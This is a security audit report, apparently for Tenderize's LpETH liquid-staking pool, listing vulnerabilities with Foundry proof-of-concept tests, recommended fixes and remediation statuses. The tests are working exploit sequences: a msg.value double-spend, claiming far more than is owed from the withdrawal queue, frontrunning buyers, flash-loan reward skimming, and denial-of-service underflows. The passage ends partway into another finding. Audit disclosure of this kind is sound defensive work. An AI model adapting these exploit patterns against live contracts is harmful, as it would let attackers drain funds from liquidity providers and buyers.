LPETH - Tenderize

Tenderize's LpETH contract enables the tokenization of the claims to pending unlocks to LSTs via the UnsETH (Unstaking ETH) ERC-721.

The LpETH contract effectively enables LPs to exchange their liquidity for fees on instant redemption of LSTs in exchange for a longer time preference. Whilst LpETH's pooled ether balance is sufficiently liquid versus open obligations, UnsETH tokens pending finalization (once finalized, underlying claims may be redeemed back LpETH in exchange for a keeper fee) can instead be sold to willing buyers via the buyUnlock() and batchBuyUnlock(uint256) functions.

The batchBuyUnlock(uint256) function uses the specified uint256 n to determine the number of tokens to purchase from the back of the unstaking queue in exchange for their msg.value; however, this implementation is vulnerable to double-spends, as the same msg.value is used within a loop:

function batchBuyUnlock(uint256 n) external payable {

    Data storage $ = _loadStorageSlot();

    // Can not purchase unlocks in recovery mode
    // The fees need to flow back to paying off debt and relayers are cheaper

    if ($.recovery > 0) revert ErrorRecoveryMode();

    uint256 totalAmountExpected;
    uint256 totalRewards;
    uint256 totalLpCut;
    uint256 totalTreasuryCut;

    uint256[] memory tokenIds = new uint256[](n);

    for (uint256 i = 0; i < n; i++) {
        // get newest item from unlock queue
        UnsETHQueue.Item memory unlock = $.unsETHQueue.popTail().data;
        if (UNSETH.isFinalized(unlock.tokenId)) break;
        UnsETH.Request memory request = UNSETH.getRequest(unlock.tokenId);
        if (block.timestamp - request.createdAt > UNSETH_EXPIRATION_TIME) break;
        
        // ...

@>      if (msg.value < request.amount - reward) revert ErrorInsufficientAmount(); /// @audit msg.value_reused_on_each_iteration

        // transfer unlock to caller
        /// @custom:hunter re-entrancy
        UNSETH.safeTransferFrom(address(this), msg.sender, unlock.tokenId);
    }

    // Update pool state
    // - update unlocking
    $.unlocking -= totalAmountExpected;
    // - Update liabilities to distribute LP rewards
    $.liabilities += totalLpCut;
    // - Update treasury rewards
    $.treasuryRewards += totalTreasuryCut;

    // Finalize requests
    {
        uint256 amountToFinalize = totalAmountExpected - totalRewards - totalLpCut - totalTreasuryCut;
        /// @audit amounts are not finalized before re-entrancy
        $.withdrawQueue.finalizeRequests(amountToFinalize);
    }

    emit BatchUnlockBought(msg.sender, totalAmountExpected, totalRewards, totalLpCut, tokenIds);
}

Consequently, an attacker may specify a msg.value which is equal to the largest request.amount pending redemption, and exchange this single amount for all of the pending requests.

The value of msg.value are persisted throughout the lifetime of the call context, irrespective of how it is spent internally.

In the sequence below, we can demonstrate that attacker c0ffee may accumulate three UnsETH tokens by either paying fairly, or by exploiting the reuse of msg.value

/// @notice Using `msg.value` in a loop can result in double spends.
function test_doubleSpendUnlocks(bool shouldDoubleSpend) external {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef);
    IERC20 lst = IERC20(EETH_TOKEN);

    /// @dev `deadbeef` performs a swap to create an unlock
    uint256 deadbeefSwapAmount = 1 ether;
    uint256 initialDepositAmount = 0.5 ether;

    /// @dev assume some initial deposits
    vm.deal(address(this), initialDepositAmount);
    _lpEth().deposit{value: initialDepositAmount}(0);

    /// @dev prepare balances
    vm.prank(_faucet());
        lst.transfer(deadbeef, deadbeefSwapAmount * 3 /* buy two tokens */);

    vm.startPrank(deadbeef);
        /// @dev prepare allowances
        lst.approve(address(_lpEth()), type(uint256).max);

        /// @dev create two unfinalized unlocks in the queue
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
    vm.stopPrank();

    /// HACK: To avoid incorrect progress calculation, we'll fast forward.
    vm.roll(block.timestamp);

    address c0ffee = address(0xc0ffee);
    vm.startPrank(c0ffee);
        uint256 tokenOneCost = 399_999_999_999_999_998;
        if (shouldDoubleSpend /* should_double_spend */) {
            vm.deal(c0ffee, tokenOneCost);
            /// @audit attacker can purchase an arbitrary number of tokens for a single price
            _lpEth().batchBuyUnlock{value: tokenOneCost}(3);
        } else {
            vm.deal(c0ffee, tokenOneCost * 3);
            _lpEth().buyUnlock{value: tokenOneCost}();
            _lpEth().buyUnlock{value: tokenOneCost}();
            _lpEth().buyUnlock{value: tokenOneCost}();
        }
    vm.stopPrank();
    assertEq(_unsEth().balanceOf(c0ffee), 3);
}

Ensure that the msg.value is greater than or equal to the total cost of the purchased tokens:

uint256 totalPrice;

for (uint256 i = 0; i < n; i++) {
    
    UnsETHQueue.Item memory unlock = $.unsETHQueue.popTail().data;
    if (UNSETH.isFinalized(unlock.tokenId)) break;

    // ...
    
    uint256 price = request.amount - reward;
    totalPrice += price;
}

// transfer unlock amount minus reward from caller to pool
// the reward is the discount paid. 'reward < unlock.fee' always.
if (msg.value < totalPrice) revert ErrorInsufficientAmount();

As an additional precaution, it is advised to defer the interactive safe transfer of UnsETH tokens after the effects of the loop have taken place:

$.unlocking -= totalAmountExpected;
$.liabilities += totalLpCut;
$.treasuryRewards += totalTreasuryCut;

{
    uint256 amountToFinalize = totalAmountExpected - totalRewards - totalLpCut - totalTreasuryCut;
    $.withdrawQueue.finalizeRequests(amountToFinalize);
}

/// @dev Transfer purchased tokens over to the `msg.sender`.
for (uint256 i = 0; i < tokenIds.length; i++) {
    uint256 tokenId = tokenIds[i];
    if (tokenId == 0) break;
    UNSETH.safeTransferFrom(address(this), msg.sender, tokenId);
}

emit BatchUnlockBought(msg.sender, totalAmountExpected, totalRewards, totalLpCut, tokenIds);

Remediation Plan

SOLVED: The Tenderize team fixed the issue.

When unlocking ether is redeemed, the WithdrawalQueue is passed an amountToFinalize, intended to be distributed to pending withdrawals inside of the queue:

// Finalize requests
{
    uint256 amountToFinalize = totalAmountExpected - totalRewards - totalLpCut - totalTreasuryCut;
    $.withdrawQueue.finalizeRequests(amountToFinalize); /// @audit notify_withdrawal_queue_elements
}

The expectation is that pending withdrawals may gain access to their owed capital once liquid ether is returned to the LpETH contract via a call to claimRequest:

function claimRequest(Data storage $, uint256 id) external returns (uint256 amount) {
    Request storage req = $.queue[id];
    if (msg.sender != req.account) revert Unauthorized();
    if (id < $.head) {
        amount = req.amount - req.claimed;
        delete $.queue[id];
    } else if (id == $.head) {
        amount = $.partiallyFinalizedAmount - req.claimed; /// @audit claim_in_excess
        req.claimed = uint128(amount); // TODO: safecast
    } else {
        revert NotFinalized(id);
    }

    if (amount == 0) revert NoClaimableETH();
    req.account.transfer(amount);
}

Notice that regardless of the amount owed to the head of the WithdrawalQueue, the partiallyFinalizedAmount is allocated. This permits a WithdrawalQueue element to claim way in excess of what it is owed.

Consequently, this can be exploited by a malicious liquidity provider, who burns shares equivalent to merely 1 wei of native ether in exchange for access to the value of partiallyFinalizedAmount, which holds the majority of redeemed ether at maturity:

/// @dev `c0ffee` submits a withdrawal request of `1 wei`
vm.startPrank(c0ffee);
    uint256 withdrawId = _lpEth().withdraw(1, 1);
vm.stopPrank();

/// @dev fast forward to unlock maturity
_prankUnlockMaturity(unlockId, swapAmount);
_lpEth().redeemUnlock();

/// @dev `c0ffee` redeems their share:
vm.startPrank(c0ffee);
    assertEq(c0ffee.balance, 0);
    _lpEth().claimWithdrawRequest(withdrawId);
    assertEq(c0ffee.balance, 4_967_565_843_539_671_813);
vm.stopPrank();

The full sequence is described below:

/// @notice the withdrawal queue allows withdraw requests to unlock
///         greatly in excess of their due claims
function test_withdrawalQueuePermitsExcessWithdrawals() external {

    /// @dev `deadbeef` makes a deposit
    address deadbeef = address(0xdeadbeef);
    uint256 deadbeefDeposit = 10 ether;
    vm.deal(deadbeef, deadbeefDeposit);
    vm.startPrank(deadbeef);
        _lpEth().deposit{value: deadbeefDeposit}(0);
    vm.stopPrank();

    /// @dev `c0ffee` also makes a much smaller deposit:
    address c0ffee = address(0xc0ffee);
    uint256 c0ffeeDeposit = 1 wei;
    vm.deal(c0ffee, c0ffeeDeposit);
    vm.startPrank(c0ffee);
        _lpEth().deposit{value: c0ffeeDeposit}(1);
    vm.stopPrank();

    /// @dev a swap is made leaving open obligations
    IERC20 lst = IERC20(EETH_TOKEN);
    uint256 swapAmount = 5 ether;
    vm.prank(_faucet());
        lst.transfer(address(this), swapAmount);
    lst.approve(address(_lpEth()), type(uint256).max);
    _lpEth().swap(address(lst), swapAmount, 0);
    uint256 unlockId =
        101010197349444841392340933157902236146568907813657814364422726681468637791402;

    /// @dev `c0ffee` submits a withdrawal request
    vm.startPrank(c0ffee);
        uint256 withdrawId = _lpEth().withdraw(1, 1);
    vm.stopPrank();

    /// @dev fast forward to unlock maturity
    _prankUnlockMaturity(unlockId, swapAmount);
        _lpEth().redeemUnlock();

    /// @dev `c0ffee` redeems their share:
    vm.startPrank(c0ffee);
        assertEq(c0ffee.balance, 0);
        _lpEth().claimWithdrawRequest(withdrawId);
        assertEq(c0ffee.balance, 4_967_565_843_539_671_813);
    vm.stopPrank();
}

Here, we see that in exchange for an insignificant withdrawal of 1 wei, the attacker c0ffee redeems around 4.96 ether.

The partiallyFinalizedAmount should be subject to the following constraints:

1. No request in the queue should be able to claim more than its intended amount. Any withdrawal realized by the queue should result in the claimed amount being incremented, and permit claimed to never exceed more than the amount of the request.

2. In general, the LpETH contract supports the idea that it is possible for partiallyFinalizedAmount to increase in excess of the amounts pending withdrawals. Although in these severe circumstances it can be demonstrated that this can be exploited, in conjunction with suggested constraints, finalizing more than the queue demands to exit presents a philosophical problem. New queue entrants may in effect be redeemed as soon as the contract balance is solvent (instead of specifically waiting for new finalizations), and the amount of capital earmarked for this purpose is theoretically underutilised in the case where finalizations are in excess of the queue. It is therefore recommended that the partiallyFinalizedAmount may never grow in excess of the current demands of the queue.

3. Ideally, any ether which is finalized for queue withdrawals should be isolated to a separate account than the LpETH contract to prevent the balances from being conflated with deposits. This will ensure withdrawals may only be taken from withdrawals that have finalized, and does not put withdrawers at risk of repurposing withdrawn capital from offsetting losses realized during unstaking, for example. Once their LPTokens are burned, exiting liquidity providers should be considered immune to the dynamics of unstaking whilst awaiting completed withdrawal (similarly to as if the withdrawal operation had been entirely solvent at initiation).

Remediation Plan

SOLVED: The Tenderize team fixed the issue by reworking the withdrawal queue.

The process of finalizing withdrawals via a call to finalizeRequests(uint256) is currently liable to revert. In this scenario, the process of unlocking or redeeming UnsETH is bricked, resulting in the inability to procure any of the unstaked assets from swapped LSTs.

Denial of service occurs because the unstaking queue operates as a linear FIFO where elements must be processed sequentially. However, it becomes impossible to process the highest-priority asset, blocking access to all other pending requests.

The reason this happens is due to implicit assumptions of the binary search embedded within the WithdrawQueue:

uint256 _ltf = $.lifetimeFinalized;
uint256 originalStart = start;

while (start < end) {
    uint256 mid = (start + end) / 2;
    uint256 midCumulative = $.queue[mid].cumulative;

@>  if (midCumulative - _ltf == amount) {
        return mid;
    } else if (midCumulative - _ltf <= amount) {
        start = mid + 1;
    } else {
        end = mid;
    }
}
return start != originalStart ? start - 1 : 0;

We see that when iterating to find a finalizable index, we make the assumption that the midCumulative must always be greater than or equal to the lifetimeFinalized, else suffer a revert due to checked math; however, it can be demonstrated that this scenario can occur naturally.

In the sequence below, we demonstrate that realistic interactions with the LpETH contract can result in the invalidation of the implicit numerical assumptions taking place within the WithdrawQueue:

/// @notice the withdrawal queue can lead to DoS of
///         dependent callers to `finalizeWithdrawalQueue`
///         whilst the `midCumulative` is less than the
///         lifetime finalized amount
function test_midCumulativeDenialOfService() external {

    /// @dev `deadbeef` initializes the contract
    address deadbeef = address(0xdeadbeef);
    uint256 initialDepositAmount = 5 ether;
    vm.deal(deadbeef, initialDepositAmount);
    vm.startPrank(deadbeef);
        _lpEth().deposit{value: initialDepositAmount}(0);
    vm.stopPrank();

    /// @dev a large swap comes through (all subsequent withdrawal
    ///      requests will be deferred to the withdraw queue)
    uint256 unlockAmount = initialDepositAmount;
    IERC20 lst = IERC20(EETH_TOKEN);
    vm.prank(_faucet());
        lst.transfer(address(this), unlockAmount * 2);
    lst.approve(address(_lpEth()), type(uint256).max);

    _lpEth().swap(address(lst), unlockAmount, 0);
    uint256 firstUnlockId
        = 101010197349444841392340933157902236146568907813657814364422726681468637791402;

    _lpEth().swap(address(lst), unlockAmount, 0);
    uint256 secondUnlockId
        = 91181243761635084542451112842887060843738865109146227320944889182988007673950;

    // HACK: Force withdrawal request submissions to succeed
    //       without either triggering denial of service or
    //       finalizing requests.
    uint256 hackBufferAmount = 10 ether;
    vm.deal(address(this), hackBufferAmount);
        _lpEth().deposit{value: hackBufferAmount}(0);

    vm.startPrank(deadbeef) /* make 5 pending withdrawals */;
        assertEq(1, _lpEth().withdraw(1 gwei, type(uint256).max));
    vm.stopPrank();

    /// @dev prank first unlock
    _prankUnlockMaturity(firstUnlockId, unlockAmount);
        _lpEth().redeemUnlock();
    vm.clearMockedCalls();

    vm.startPrank(deadbeef) /* make 5 pending withdrawals */;
        assertEq(2, _lpEth().withdraw(1 gwei, type(uint256).max));
    vm.stopPrank();

    /// @dev prank second unlock
    _prankUnlockMaturity(secondUnlockId, unlockAmount);
        vm.expectRevert(); /// @audit underflow_panic
            _lpEth().redeemUnlock();
    vm.clearMockedCalls();

}

In this scenario, unlocks cannot be redeemed or purchased, since both avenues attempt to finalize withdrawals.

The WithdrawQueue implicitly contains all necessary data dependencies to implement partiallyFinalized withdrawals atomically at the point of request, instead of via active management of a cached finalize index, which can lead to the emergence of subtle issues and a greater manipulation surface area.

It is recommended that partial withdrawals be determined purely on the lifetimeFinalized versus the cumulative amount at the point the request was instantiated. Any amount of lifetimeFinalized in excess of the cumulative amount for the request can then be considered a partially finalized amount (provided it is clamped at the maximum amount the request is owed).

Remediation Plan

SOLVED: The Tenderize team fixed the issue. Updated withdrawal queue no longer uses binary search.

All swap(address,uint256,uint256)s of LSTs which are in excess of the LpETH's liquid assets will result in the creation of an UnsETH (Unstaking ETH) ERC-721, which represents an underlying claim to an amount of unlocked LST token value at maturity. Given that withdrawal from staking protocols will incur a time delay, these tokens are placed at the end of the unstaking ether queue to prioritize keeper redemption of tokens which are closer to maturity first.

High time-preference UnsETH tokens at the tail of the queue may be purchased via calls to buyUnlock() and batchBuyUnlock(uint256) for a reward, however this queue is mutable between adversaries; for example, the queue can be arbitrarily appended to or purchased from within a single block. Prospective buyers have no control of what precise tokenIds they end up purchasing, they merely purchase a specified quantity of any tokens from the tail - irrespective of their underlying value at execution time.

Invariably, this behavior can be exploited by malicious liquidity providers.

If a transaction intending to make a sizeable purchase of UnsETH is detected in the mempool, malicious LPs may frontrun the transaction and invoke low-value swaps in an effort to append to the tail of the unstaking queue prior to the victim transaction. Once the victim transaction is realized, the msg.value they provided, intended to purchase fairly-priced UnsETHs, will instead be redeemed in exchange for the UnsETH token in possession of significantly inferior underlying value, helping accrue value back to the LpETH contract.

In the following sequence, we imagine a malicious LP chooses to frontrun a pending attempt to invoke buyUnlock(uint256) in the mempool:

/// @notice lack of refunds for purchases from the queue can be exploited
///         through frontrunning
function test_maliciousLiquidityProviders() external {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef) /* liquidity_provider */;
    address c0ffee = address(0xc0ffee) /* prospective_buyer */;

    /// @dev first, let's initialize `LpETH` with some deposit:
    uint256 initialDeposit = 10 ether;
    vm.deal(deadbeef, initialDeposit);
    vm.startPrank(deadbeef);
        _lpEth().deposit{value: initialDeposit}(0);
    vm.stopPrank();

    /// @dev next, let's assume that there's an inbound swap that results
    ///      in a pending unstake on the queue
    IERC20 lst = IERC20(EETH_TOKEN);
    uint256 lstSwapAmount = 20 ether;
    vm.prank(_faucet());
        lst.transfer(address(this), lstSwapAmount);
    lst.approve(address(_lpEth()), type(uint256).max);
    _lpEth().swap(address(lst), lstSwapAmount, 0);

    /// HACK: To avoid incorrect progress calculation, we'll fast forward.
    vm.roll(block.timestamp);

    /// @dev here we configure whether `deadbeef` is a malicious
    ///      liquidity provider. when malicious, they front run
    ///      inbound requests with an unlocking token whose `amount`
    ///      is significantly smaller than the current tail of the
    ///      queue
    bool shouldFrontRun = true;
    if (shouldFrontRun /* should_front_run */) {
        uint256 maliciousUnlockAmount = 1 gwei;
        vm.prank(_faucet());
            lst.transfer(deadbeef, maliciousUnlockAmount);
        vm.startPrank(deadbeef);
            lst.approve(address(_lpEth()), maliciousUnlockAmount);
            _lpEth().swap(address(lst), maliciousUnlockAmount, 0);
        vm.stopPrank();
    }

    /// @dev `c0ffee`, our victim, attempts to purchase:
    vm.startPrank(c0ffee);

        uint256 buyUnlockAmount = 19_999_999_999_999_999_999 wei;
        vm.deal(c0ffee, buyUnlockAmount);

        UnsETH.Request memory purchasedRequest = _unsEth().getRequest(
            _lpEth().buyUnlock{value: buyUnlockAmount}() /* purchase_a_token */
        );

        assertEq(c0ffee.balance, 0 wei) /* c0ffee_balance_emptied */;
        assertEq(
            purchasedRequest.amount,
            shouldFrontRun ? 999_999_999 : 19_999_999_999_999_999_999
        );

    vm.stopPrank();
}

By appending low-value tokens to the end of the queue, the majority of the victim's capital is spent on worthless tokens.

It is recommended that the caller attempting to purchase UnsETHs from the tail of the queue iteratively purchase queue items whilst the supplied msg.value is sufficient for the cumulative price of the purchased tokens.

Once finished, any remaining unspent funds from their msg.value should be returned.

Remediation Plan

SOLVED: The Tenderize team fixed the issue. The user needs to provide the expected ID when calling buyUnlock and batchBuyUnlock functions.

When a keeper invokes redeemUnlock() or batchRedeemUnlocks(uint256), both the liabilities and availability of native ether in the LpETH contract increase in a stepwise fashion.

Although the keeper is incentivized to perform invoke unlock redemption in exchange for a fee, they may extract much greater economic value from the protocol than this, since they can sandwich their own unlock operations as a means to siphon value away from liquidity providers.

Unlock redemption increases the value of the LpToken⁣. Therefore, a keeper can use a flash loan to amass pool shares at a comparatively lower price compared to their post-redeem worth and flip these atomically during the course of a single transaction.

When utilizing a sufficiently large flash loan, selfish keepers may collect a significant proportion of inbound rewards intended for LPs, in exchange for none of the risk. Additionally, when taking into consideration the increased availability of liquid liabilities provided by a redeemed unlock, a keeper could likely craft a clean exit without having to enter the WithdrawQueue to increase the viability of an atomic flash loan repayment.

In the following sequence, selfish keeper uses a 300 ether flash loan to accrue a sizeable amount of vault liquidity prior to redeeming the unlock, then subsequently burns these shares to gain a sizeable proportion of the total unlocked token value:

/// @notice `LpETH` is vulnerable to poisonous liquidity
function test_poisonedLiquidity() external {
    /// @dev `deadbeef` initializes the protocol
    address deadbeef = address(0xdeadbeef);
    uint256 initialDepositAmount = 10 ether;
    vm.deal(deadbeef, initialDepositAmount);
    vm.prank(deadbeef);
        _lpEth().deposit{value: initialDepositAmount}(0);

    /// @dev assume a pending unlock
    uint256 amountToUnlock = 15 ether;
    IERC20 lst = IERC20(EETH_TOKEN);
    lst.approve(address(_lpEth()), type(uint256).max);
    vm.prank(_faucet());
        lst.transfer(address(this), amountToUnlock);
    _lpEth().swap(address(lst), amountToUnlock, 0) /* create_pending_swaps */;

    uint256 pendingUnlockId
        = 101010197349444841392340933157902236146568907813657814364422726681468637791402;

    /// @dev fast forward time until the unlock is mature:
    _prankUnlockMaturity(pendingUnlockId, amountToUnlock);

    /// @dev `c0ffee` provides poisoned liquidity (i.e. flash loan)
    address c0ffee = address(0xc0ffee);
    uint256 flashLoanAmount = 300 ether;
    vm.deal(c0ffee, flashLoanAmount);
    vm.startPrank(c0ffee);
        _lpEth().deposit{value: flashLoanAmount}(0);
        _lpEth().redeemUnlock();
        _lpEth().withdraw(
            _lpEth().liquidity() * _lpToken().balanceOf(c0ffee) / _lpToken().totalSupply(),
            type(uint256).max
        );
    vm.stopPrank();
    assertTrue(flashLoanAmount < c0ffee.balance);
}

To reduce the attractiveness of this style of attack, consider implementing the following deterrents:

1. Charge a configurable fee upon withdrawal which will accrue to the liquidity providers that remain.

2. Enforce that liquidity providers should be exposed to the pool for a minimum duration before a withdrawal can be initiated.

Remediation Plan

PARTIALLY SOLVED: The Tenderize team partially fixed the issue by disallowing flashfloan deposits.

The minMaxAmount() of UnsETH, although defined for each asset, is not enforced, which enables depositors with the potential to deposit greater than or lesser than the predefined range, which may invalidate operational expectations.

For instance, It can be demonstrated that even though the minMaxAmount() of LsETHAdapter.sol is configured as 1e9 (1 gwei), it is possible to initiate a request to withdraw just 1 wei.

This could potentially be utilized by attackers to spam the WithdrawQueue or induce underflow scenarios by undermining protocol expectations.

Below, we see it is possible to submit a trivially small withdrawal request:

/// @notice it is possible to request withdrawals lower than the
///         configured minMaxAmount
function test_unstakeLowerThanMinumum() external {
    uint256 amount = 1 wei;

    IERC20 lst = IERC20(LSETH_TOKEN);
    lst.approve(address(_unsEth()), type(uint256).max);

    vm.prank(_faucet());
        lst.transfer(address(this), amount);

    _unsEth().requestWithdraw(address(lst), amount);
}

It is recommended that the UnsETH contract properly these assumptions about the min and max bounds about the submission of withdrawal requests:

function requestWithdraw(
    address asset,
    uint256 amount
) external returns (uint256 tokenId, uint256 amountExpected) {
    (uint256 min, uint256 max) = REGISTRY.adapters(asset).minMaxAmount();
    require(amount >= min && amount <= max, "WITHDRAWAL_OUT_OF_BOUNDS");
    // ...
}

Remediation Plan

RISK ACCEPTED: The Tenderize team accepted the risk.

There are some situations where users may encounter denial of service when attempting to make an initial deposit.

Consider when the LPTOKEN.totalSupply() is zero, with non-zero liabilities:

lpShares = $.liabilities > 0
    ? FixedPointMathLib.fullMulDiv(msg.value, LPTOKEN.totalSupply(), $.liabilities)
    : msg.value;

if (lpShares < minLpShares) revert ErrorSlippage(lpShares, minLpShares);
if (lpShares == 0) revert ErrorDepositSharesZero(); /// @audit will_always_revert

Here, the number of lpShares will always be computed to be 0 and cause revert via ErrorDepositSharesZero().

In the sequence below, we demonstrate that it is impossible to gain a share of the LpETH contract whilst there are open liabilities against a zero circulating supply.

This scenario can occur when there are active pending withdrawals initiated by a holder who burned their holdings which corresponded to the entirety of the shares in circulation.

/// @notice zero shares are calculated when circulating token supply is zero
function test_zeroShareDepositsWithZeroCirculatingSupply() public {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef);
    address c0ffee = address(0xc0ffee);
    IERC20 lst = IERC20(EETH_TOKEN);

    uint256 deadbeefDeposit = 1 ether;

    vm.deal(deadbeef, deadbeefDeposit) /* make_deposit */;
    vm.prank(deadbeef);
        _lpEth().deposit{value: deadbeefDeposit}(0);

    uint256 c0ffeeSwap = 0.5 ether;

    /// @dev prepare lst and allowances
    vm.prank(_faucet());
        lst.transfer(c0ffee, c0ffeeSwap);

    vm.startPrank(c0ffee);
        lst.approve(address(_lpEth()), type(uint256).max);
        _lpEth().swap(address(lst), c0ffeeSwap, 0);
    vm.stopPrank();

    /// @dev create a withdraw request
    vm.startPrank(deadbeef);
        uint256 requestId = _lpEth().withdraw(deadbeefDeposit, type(uint256).max);
        uint256 tokenId = 101010197349444841392340933157902236146568907813657814364422726681468637791402;
        assertTrue(requestId == 1) /* should_create_overflow_request */;
        assertEq(_lpToken().totalSupply(), 0) /* no_circulating_supply */;
    vm.stopPrank();

    /// @dev redeem unlock
    _prankUnlockMaturity(tokenId, 1 ether) /* mature */;
        _lpEth().redeemUnlock();
        assertGt(_lpEth().liabilities(), 0) /* has liabilities */;
    vm.clearMockedCalls();

    address honestDepositor = address(0x420);
    uint256 honestDepositAmount = 1 ether;
    vm.deal(honestDepositor, honestDepositAmount);
    vm.prank(honestDepositor);
        vm.expectRevert(abi.encodeWithSignature("ErrorDepositSharesZero()")) /* reverts */;
            _lpEth().deposit{value: honestDepositAmount}(0);
}

Currently, it is possible for the initial depositor to both mint negligibly small amounts of shares and have direct control over the total supply:

lpShares = $.liabilities > 0
    ? FixedPointMathLib.fullMulDiv(msg.value, LPTOKEN.totalSupply(), $.liabilities)
    : msg.value /* can_mint_small_illiquid_shares */;

It is recommended that to avoid any potential unexpected states or potential avenues for manipulation by having the initial depositor relinquish a proportion of their claim to underlying vault shares to the burn address:

lpShares = $.liabilities > 0
    ? FixedPointMathLib.fullMulDiv(msg.value, LPTOKEN.totalSupply(), $.liabilities)
    : msg.value;

if (LPTOKEN.totalSupply() == 0) /* is_initial_state */ {
    lpShares -= 1_000 /* underflow_for_insufficient_deposits */;
    LPTOKEN.mint(address(0), 1_000) /* burn_shares */;
}

if (lpShares < minLpShares) revert ErrorSlippage(lpShares, minLpShares);
if (lpShares == 0) revert ErrorDepositSharesZero();

LPTOKEN.mint(msg.sender, lpShares);

Remediation Plan

SOLVED: The Tenderize team fixed the issue.

The Renderer contract implements a Base64-encoded JSON URI for token metadata:

/**
 * @notice Returns the JSON metadata for a given unlock
 * @param data metadata for the token
 */
function json(UnsETH.Request memory data) external pure returns (string memory) {
    return string(
        abi.encodePacked(
            "data:application/json;base64,",
            Base64.encode(
                abi.encodePacked(
                    '{"name": "unsETH", "description": "unstaking ETH",',
                    /// @custom:hunter not using the image property i.e. '"image":"data:image/svg+xml;base64,', Base64.encode(imageData), '",',
                    '"attributes":[',
                    _serializeMetadata(data),
                    "]}"
                )
            )
        )
    );
}

Firstly, we note that although the Renderer contract explicitly implements an svg(UnsETH.Request) function for generating on-chain graphics, this data is not returned in the JSON blob, since the "image" property has been omitted (accoridng to the OpenSea metadata standard).

Consequently, the NFT will not have an image on marketplaces.

Further, we can see that json(UnsETH.Request) relies upon the _serializeMetadata(UnsETH.Request) function:

function _serializeMetadata(UnsETH.Request memory data) internal pure returns (string memory metadataString) {
    metadataString = string(
        abi.encodePacked(
            '{"trait_type": "createdAt", "value":',
            data.createdAt.toString(),
            "},",
            '{"trait_type": "amount", "value":',
            data.amount.toString(),
            "},",
            '{"trait_type": "derivative", "value":"',
            data.derivative, /// @audit address
            '"},',
            '{"trait_type": "requestId", "value":"',
            data.requestId, /// @audit uint256
            '"},' /// @audit trailing_comma
        )
    );
}

There are two issues in this implementation.

We can see that both the data.derivative and data.requestId fields (backed by address and uint256 data types respectively) are not stringified. By result, these will not serialize into human-readable strings when generating the JSON content, and may risk corrupting the generated body.

Further, we can determine that the stringified array assigned to metadataString contains a hard-coded trailing comma, which although a respected convention by modern JavaScript transpilers, is not compliant with the JSON web standard.

Return the generated SVG as an image property in the metadata URI:

abi.encodePacked(
    "data:application/json;base64,",
    Base64.encode(
        abi.encodePacked(
            '{"name": "unsETH", "description": "unstaking ETH",',
            '"image":"data:image/svg+xml;base64,', Base64.encode(svg(data)), '",',
            '"attributes":[',
                 _serializeMetadata(data),
            "]}"
        )
    )
)

Secondly, update the array of metadata to remove the trailing comma and stringify the binary data:

abi.encodePacked(
    '{"trait_type": "createdAt", "value":',
    data.createdAt.toString(),
    "},",
    '{"trait_type": "amount", "value":',
    data.amount.toString(),
    "},",
    '{"trait_type": "derivative", "value":"',
    data.derivative.toHexString(),
    '"},',
    '{"trait_type": "requestId", "value":"',
    data.requestId.toString(),
    '"}'
)

Remediation Plan

SOLVED: The Tenderize team fixed the issue by stringifying the binary data.

The UNSETH_EXPIRATION_TIME is a value used to approximate the time taken for an UnsETH token to reach maturity, when the underlying claim to unstaked assets may be realized.

Depending upon the amount of time remaining until maturity since the token's creation, UnsETH purchasers may receive a proportional discount on the price of the token as a reward. This is designed to incentivize buyers with a high time preference to supply immediate liquidity into the LpETH contract in exchange for future gains, whereby longer times remaining until maturity procure larger unlocks.

Prospective buyers are rewarded proportionally based upon the time remaining until maturity via the following calculation:

UD60x18 progress = ud(request.createdAt - block.number).div(ud(UNSETH_EXPIRATION_TIME));
reward = ud(baseReward).mul(UNIT_60x18.sub(progress)).unwrap();

This calculation possesses two logical flaws. Most notably, we see that request.created at is a timestamp instead of a block.number:

Request memory _metadata =
    Request({ requestId: requestId, amount: amountExpected, createdAt: block.timestamp, derivative: asset }); /// @audit createdAt_is_timestamp

This erroneous comparison results in the calculation of incorrect values of progress, resulting in values which lead to revert. However, if we were to correct the expression and use the appropriate time comparison here, we still encounter underflow scenarios for the case that the time since request.createdAt exceeds UNSETH_EXPIRATION_TIME.

This is due to the fact that the calculation resolves to a value over unity, leading the subsequent reward calculation to revert:

reward = ud(baseReward).mul(UNIT_60x18.sub(progress)).unwrap(); /// @audit panic_revert_when_progress_gt_UNIT_60x18

Consequently, for any UnsETH token delay in excess of UNSETH_EXPIRATION_TIME, it will not be possible to invoke buyUnlock() or buyUnlocks(uint256) until the tokens are explicitly redeemed.

The following sequence demonstrates a simple example of progress underflow:

/// @notice progress over unity results in panic revert
///         through integer underflow
function test_panicRevertDueToProgessCalculation() external {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef);
    IERC20 lst = IERC20(EETH_TOKEN);

    /// @dev `deadbeef` performs a swap to create an unlock
    uint256 deadbeefSwapAmount = 1 ether;
    uint256 initialDepositAmount = 0.5 ether;

    /// @dev assume some initial deposits
    vm.deal(address(this), initialDepositAmount);
    _lpEth().deposit{value: initialDepositAmount}(0);

    /// @dev prepare balances
    vm.prank(_faucet());
        lst.transfer(deadbeef, deadbeefSwapAmount * 2 /* buy two tokens */);

    vm.startPrank(deadbeef);
        /// @dev prepare allowances
        lst.approve(address(_lpEth()), type(uint256).max);

        /// @dev create two unfinalized unlocks in the queue
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
    vm.stopPrank();

    address c0ffee = address(0xc0ffee);
    vm.deal(c0ffee, 1000 ether);
    vm.expectRevert() /* @audit underflow_revert */;
        _lpEth().buyUnlock();
}

Notice that although we place two unlocks in the queue, neither can be purchased, resulting in a growing backlog that cannot be pulled from when attempting to purchase unlocks.

Correct the comparison to use block.timestamp and use clamping to avoid computing values of progress over unity:

UD60x18 progress = ud(
    Math.min(block.timestamp - request.createdAt, UNSETH_EXPIRATION_TIME)
).div(
    ud(UNSETH_EXPIRATION_TIME)
);

reward = ud(baseReward).mul(UNIT_60x18.sub(progress)).unwrap();

Remediation Plan

SOLVED: The Tenderize team fixed the issue by adding the appropriate check.

There exists a pathological scenario where non-zero liabilities can be stolen whilst the totalSupply of LpToken in circulation is zero.

